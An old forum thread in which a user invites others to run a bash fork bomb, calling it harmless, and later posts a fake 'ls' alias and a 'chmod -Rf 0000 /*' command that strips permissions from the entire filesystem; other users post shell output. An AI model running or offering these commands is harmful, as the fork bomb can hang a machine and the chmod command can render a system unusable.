think tank forum

technology » Something to try

 
18 years ago
link
Hess
Well on the way to the unknown
Give this a try on your next *nix box.

[code] :(){ :|:& };: [/code]

It does not destroy data. For fun, run it twice.
asemisldkfj's avatar
18 years ago
link
asemisldkfj
the law is no protection
brain@cerealkiller ~$ :(){ :|:& };:
-sh: `:': not a valid identifier
brain@cerealkiller ~$ (){ :|:& };
-sh: syntax error near unexpected token `)'
brain@cerealkiller ~$ ":(){ :|:& };:"
-sh: :(){ :|:& };:: command not found
brain@cerealkiller ~$
 
18 years ago
link
dbrown
cereal killer... as in fruit loops?
lucas's avatar
18 years ago
link
lucas
i ❤ demo
try drinking sweet red vermouth straight

supposedly good

as for the above shit:
(a) hess is probably using bash, it may make a difference.
(b) i like how people assume that ttf supports full html/bb code
(c) anyone want to write some bsdl regexps to get html/bb code supported on ttf?
dannyp's avatar
18 years ago
link
dannyp
dʎuuɐp
bash:

$ :(){ :|:& };:
[1] 22798
bash: fork: Resource temporarily unavailable
[1]+ Terminated : | :
$

ksh:

$ :(){ :|:& };:
$

csh:

$ :(){ :|:& };:
$Badly placed ()'s.

zsh: fork loops.
 
18 years ago
link
Hess
Well on the way to the unknown
The code is known as a Fork Bomb (http://en.wikipedia.org/wiki/Fork_bomb)

Here is another little trick worth some laughter:

[code] alias ls="echo bash: ls: command not found" [/code]

Or if you are feeling a bit more evil:

[code] chmod -Rf 0000 /* [/code]

I did not think ttf would really support the code, but it was the best way I thought of to denote where the code began an ended that others would recognize.
asemisldkfj's avatar
18 years ago
link
asemisldkfj
the law is no protection
glad you get the reference, dbrown :).

I ran it on bash, it's my OS X box.
 
18 years ago
link
dbrown
>> anyone want to write some bsdl regexps to get html/bb code supported on ttf?

it won't get done anytime soon but i'll take a shot after i finish my freeradius project.
lucas's avatar
18 years ago
link
lucas
i ❤ demo
i have the only avatar that isn't b&w in this thread.

i love color!
 
18 years ago
link
arun
keep smiling !
me too! :P